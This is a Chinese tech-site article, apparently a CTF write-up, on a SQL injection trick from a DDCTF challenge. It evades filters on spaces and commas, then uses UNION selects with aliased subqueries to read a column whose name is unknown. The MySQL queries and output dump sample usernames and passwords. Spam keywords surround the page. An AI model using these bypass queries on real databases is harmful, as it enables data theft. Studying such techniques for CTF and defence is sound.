校园春色亚洲色图_亚洲视频分类_中文字幕精品一区二区精品_麻豆一区区三区四区产品精品蜜桃

主頁 > 知識庫 > Mysql如何巧妙的繞過未知字段名詳解

Mysql如何巧妙的繞過未知字段名詳解

熱門標簽:成都優(yōu)派外呼系統(tǒng) 寧波企業(yè)外呼系統(tǒng)收費 上海智能外呼系統(tǒng)代理商 扎樣申請400電話 沈陽電銷外呼系統(tǒng)原理是什么 ps制作地圖標注gif 聊城智能外呼系統(tǒng)運營商 電子地圖標注電話 地圖標注人員兼職

前言

本文介紹的是DDCTF第五題,繞過未知字段名的技巧,這里拿本機來操作了下,思路很棒也很清晰,分享給大家,下面來看看詳細的介紹:

實現(xiàn)思路

題目過濾空格和逗號,空格使用%0a,%0b,%0c,%0d,%a0,或者直接使用括號都可以繞過,逗號使用join繞過;

存放flag的字段名未知,information_schema.columns也將表名的hex過濾了,即獲取不到字段名;這時可以利用聯(lián)合查詢,過程如下:

思想就是獲取flag,讓其在已知字段名下出現(xiàn);

示例代碼:

mysql> select (select 1)a,(select 2)b,(select 3)c,(select 4)d;
+---+---+---+---+
| a | b | c | d |
+---+---+---+---+
| 1 | 2 | 3 | 4 |
+---+---+---+---+
1 row in set (0.00 sec)
 
mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d;
+---+---+---+---+
| 1 | 2 | 3 | 4 |
+---+---+---+---+
| 1 | 2 | 3 | 4 |
+---+---+---+---+
1 row in set (0.00 sec)
 
mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user;
+---+-------+----------+-------------+
| 1 | 2  | 3  | 4   |
+---+-------+----------+-------------+
| 1 | 2  | 3  | 4   |
| 1 | admin | admin888 | 110@110.com |
| 2 | test | test123 | 119@119.com |
| 3 | cs | cs123 | 120@120.com |
+---+-------+----------+-------------+
4 rows in set (0.01 sec)
 
mysql> select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e;
+-------------+
| 4   |
+-------------+
| 4   |
| 110@110.com |
| 119@119.com |
| 120@120.com |
+-------------+
4 rows in set (0.03 sec)
 
mysql> select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e limit 1 offset 3;
 
+-------------+
| 4   |
+-------------+
| 120@120.com |
+-------------+
1 row in set (0.01 sec)
 
mysql> select * from user where id=1 union select (select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d
union select * from user)e limit 1 offset 3)f,(select 1)g,(select 1)h,(select 1)i;
+-------------+----------+----------+-------------+
| id   | username | password | email  |
+-------------+----------+----------+-------------+
| 1   | admin | admin888 | 110@110.com |
| 120@120.com | 1  | 1  | 1   |
+-------------+----------+----------+-------------+
2 rows in set (0.04 sec)

總結

以上就是這篇文章的全部內容了,希望本文的內容對大家的學習或者工作能帶來一定的幫助,如果有疑問大家可以留言交流,謝謝大家對腳本之家的支持。

您可能感興趣的文章:
  • 防止xss和sql注入:JS特殊字符過濾正則
  • 一個過濾重復數(shù)據(jù)的 SQL 語句
  • MySQL注入繞開過濾的技巧總結
  • SQL注入中繞過 單引號 限制繼續(xù)注入
  • SQL注入繞過的技巧總結
  • 多列復合索引的使用 繞過微軟sql server的一個缺陷
  • 關于SQL注入繞過的一些知識點
  • SQL Server簡單模式下誤刪除堆表記錄恢復方法(繞過頁眉校驗)
  • SQL注入技巧之顯注與盲注中過濾逗號繞過詳析

標簽:AXB 內江 朔州 咸寧 宿州 三明 汕頭 林芝

巨人網絡通訊聲明:本文標題《Mysql如何巧妙的繞過未知字段名詳解》,本文關鍵詞  Mysql,如何,巧妙,的,繞過,;如發(fā)現(xiàn)本文內容存在版權問題,煩請?zhí)峁┫嚓P信息告之我們,我們將及時溝通與處理。本站內容系統(tǒng)采集于網絡,涉及言論、版權與本站無關。
  • 相關文章
  • 下面列出與本文章《Mysql如何巧妙的繞過未知字段名詳解》相關的同類信息!
  • 本頁收集關于Mysql如何巧妙的繞過未知字段名詳解的相關信息資訊供網民參考!
  • 推薦文章
    主站蜘蛛池模板: 彰化市| 资兴市| 齐河县| 广安市| 旅游| 石嘴山市| 大同县| 龙山县| 时尚| 曲靖市| 伊宁市| 修武县| 酉阳| 晋江市| 临西县| 富阳市| 珠海市| 弥渡县| 九龙县| 闸北区| 山西省| 苏尼特右旗| 雅江县| 克拉玛依市| 滁州市| 宁安市| 永吉县| 扬州市| 波密县| 喀喇沁旗| 沛县| 文安县| 察隅县| 杭州市| 三亚市| 临西县| 忻城县| 承德县| 乐安县| 南充市| 读书|